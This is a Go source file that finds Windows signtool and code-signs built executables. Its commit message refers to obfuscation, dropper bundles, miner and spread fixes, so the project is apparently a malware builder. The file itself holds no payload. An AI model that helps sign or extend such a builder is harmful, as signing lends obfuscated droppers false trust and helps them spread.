8466c7aa9b
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
101 lines
2.3 KiB
Go
101 lines
2.3 KiB
Go
//go:build windows
|
|
|
|
package builder
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
func signingToolMissingNote() string {
|
|
return "Code signing requested but signtool is not installed — install Windows SDK or set sign_tool_path in Calibrate."
|
|
}
|
|
|
|
func (h *Handler) signingToolAvailable() bool {
|
|
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
|
|
if _, err := os.Stat(tool); err == nil {
|
|
return true
|
|
}
|
|
}
|
|
_, err := findSignTool()
|
|
return err == nil
|
|
}
|
|
|
|
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
|
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
|
return false
|
|
}
|
|
if !req.SignBuild {
|
|
return false
|
|
}
|
|
if _, err := findSignTool(); err != nil {
|
|
log.Printf("[Forge] sign requested but signtool not found — install Windows SDK or set sign_tool_path in Calibrate")
|
|
return false
|
|
}
|
|
return true
|
|
}
|
|
|
|
func (h *Handler) signExecutable(path string) error {
|
|
policy := h.policy.Sign
|
|
tool := strings.TrimSpace(policy.ToolPath)
|
|
if tool == "" {
|
|
var err error
|
|
tool, err = findSignTool()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
}
|
|
|
|
tsURL := strings.TrimSpace(policy.TimestampURL)
|
|
if tsURL == "" {
|
|
tsURL = "http://timestamp.digicert.com"
|
|
}
|
|
|
|
args := []string{
|
|
"sign",
|
|
"/fd", "SHA256",
|
|
"/tr", tsURL,
|
|
"/td", "SHA256",
|
|
"/sha1", strings.TrimSpace(policy.CertThumbprint),
|
|
path,
|
|
}
|
|
cmd := exec.Command(tool, args...)
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return fmt.Errorf("signtool: %w (%s)", err, strings.TrimSpace(string(out)))
|
|
}
|
|
log.Printf("[Forge] Signed %s", filepath.Base(path))
|
|
return nil
|
|
}
|
|
|
|
func findSignTool() (string, error) {
|
|
if p, err := exec.LookPath("signtool"); err == nil {
|
|
return p, nil
|
|
}
|
|
if p, err := exec.LookPath("signtool.exe"); err == nil {
|
|
return p, nil
|
|
}
|
|
|
|
roots := []string{
|
|
os.Getenv("ProgramFiles(x86)"),
|
|
os.Getenv("ProgramFiles"),
|
|
}
|
|
for _, root := range roots {
|
|
if root == "" {
|
|
continue
|
|
}
|
|
kits := filepath.Join(root, "Windows Kits", "10", "bin")
|
|
matches, _ := filepath.Glob(filepath.Join(kits, "*", "x64", "signtool.exe"))
|
|
for i := len(matches) - 1; i >= 0; i-- {
|
|
if _, err := os.Stat(matches[i]); err == nil {
|
|
return matches[i], nil
|
|
}
|
|
}
|
|
}
|
|
return "", fmt.Errorf("signtool.exe not found — install Windows SDK or set sign_tool_path in Calibrate")
|
|
}
|